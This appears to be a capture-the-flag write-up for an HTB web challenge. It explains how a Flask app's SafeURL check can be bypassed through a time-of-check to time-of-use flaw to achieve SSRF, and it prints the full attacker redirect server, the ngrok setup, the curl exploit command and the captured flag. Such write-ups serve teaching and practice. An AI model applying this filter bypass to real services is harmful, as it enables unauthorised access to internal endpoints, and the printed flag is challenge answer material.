Saturn
3 minutes to read
We are given the following website:
Moreover, we have the source code of the server, which is in Flask (Python).
Source code analysis
This is app.py
:
from flask import Flask, request, render_template
import requests
from safeurl import safeurl
app = Flask(__name__)
@app.route('/', methods=['GET', 'POST'])
def index():
if request.method == 'POST':
url = request.form['url']
try:
su = safeurl.SafeURL()
opt = safeurl.Options()
opt.enableFollowLocation().setFollowLocationLimit(0)
su.setOptions(opt)
su.execute(url)
except:
return render_template('index.html', error=f"Malicious input detected.")
r = requests.get(url)
return render_template('index.html', result=r.text)
return render_template('index.html')
@app.route('/secret')
def secret():
if request.remote_addr == '127.0.0.1':
flag = ""
with open('./flag.txt') as f:
flag = f.readline()
return render_template('secret.html', SECRET=flag)
else:
return render_template('forbidden.html'), 403
if __name__ == '__main__':
app.run(host="0.0.0.0", port=1337, threaded=True)
As can be seen, there are two endpoints. We are interested in /secret
in order to get the flag. However, the endpoint handler checks that the request is made from 127.0.0.1
.
However, the /
endpoint will perform a request to an arbitrary URL:
@app.route('/', methods=['GET', 'POST'])
def index():
if request.method == 'POST':
url = request.form['url']
# ...
r = requests.get(url)
return render_template('index.html', result=r.text)
return render_template('index.html')
We only need to bypass this code snippet:
try:
su = safeurl.SafeURL()
opt = safeurl.Options()
opt.enableFollowLocation().setFollowLocationLimit(0)
su.setOptions(opt)
su.execute(url)
except:
return render_template('index.html', error=f"Malicious input detected.")
The above code inspects the URL and blocks it if there is a Location
header with a redirection. Also, the default options block requests to 127.0.0.1
. More information at SafeURL-Python.
Solution
The key here is that SafeURL-Python
will check that the URL is safe, and if so, then another request is performed using requests
.
TOCTOU to SSRF
Therefore, we have a time-of-check to time-of-use (TOCTOU) vulnerability. This means that we can host a server that returns a valid response first (so that SafeURL-Python
does not block it), and then performs malicious things (when the request is made by requests
, with no verification).
We can write a short Flask server for this, with a boolean flag to change the response handler once the check passes:
#!/usr/bin/env python3
from flask import Flask, redirect
app = Flask(__name__)
check = True
@app.route('/')
def index():
global check
if check:
check = False
return 'asdf'
else:
check = True
return redirect('http://127.0.0.1:1337/secret')
if __name__ == '__main__':
app.run(host='127.0.0.1', port=5000, debug=False)
As can be seen, we will first send a valid response, and then perform a redirection to http://127.0.0.1:1337/secret
in order to get the flag using Server-Side Request Forgery (SSRF).
Now, we need to make this server accessible using ngrok
:
$ python3 solve.py
* Serving Flask app 'solve'
* Debug mode: off
WARNING: This is a development server. Do not use it in a production deployment. Use a production WSGI server instead.
* Running on http://127.0.0.1:5000
Press CTRL+C to quit
ngrok
Full request capture now available in your browser: https://ngrok.com/r/ti
Session Status online
Account Rocky (Plan: Free)
Version 3.8.0
Region United States (us)
Web Interface http://127.0.0.1:4040
Forwarding https://abcd-12-34-56-78.ngrok-free.app -> http://localhost:5000
Connections ttl opn rt1 rt5 p50 p90
0 0 0.00 0.00 0.00 0.00
Flag
At this point, we can send the following request to the challenge server and get the flag:
$ curl 83.136.255.150:35824 -sd url=https://abcd-12-34-56-78.ngrok-free.app | grep -oE 'HTB{.*}'
HTB{Expl01t1ng_ssrfs_f0r_fun}
As expected, we will see two request on our malicious server log, which is due to the TOCTOU vulnerability:
127.0.0.1 - - [] "GET / HTTP/1.1" 200 -
127.0.0.1 - - [] "GET / HTTP/1.1" 302 -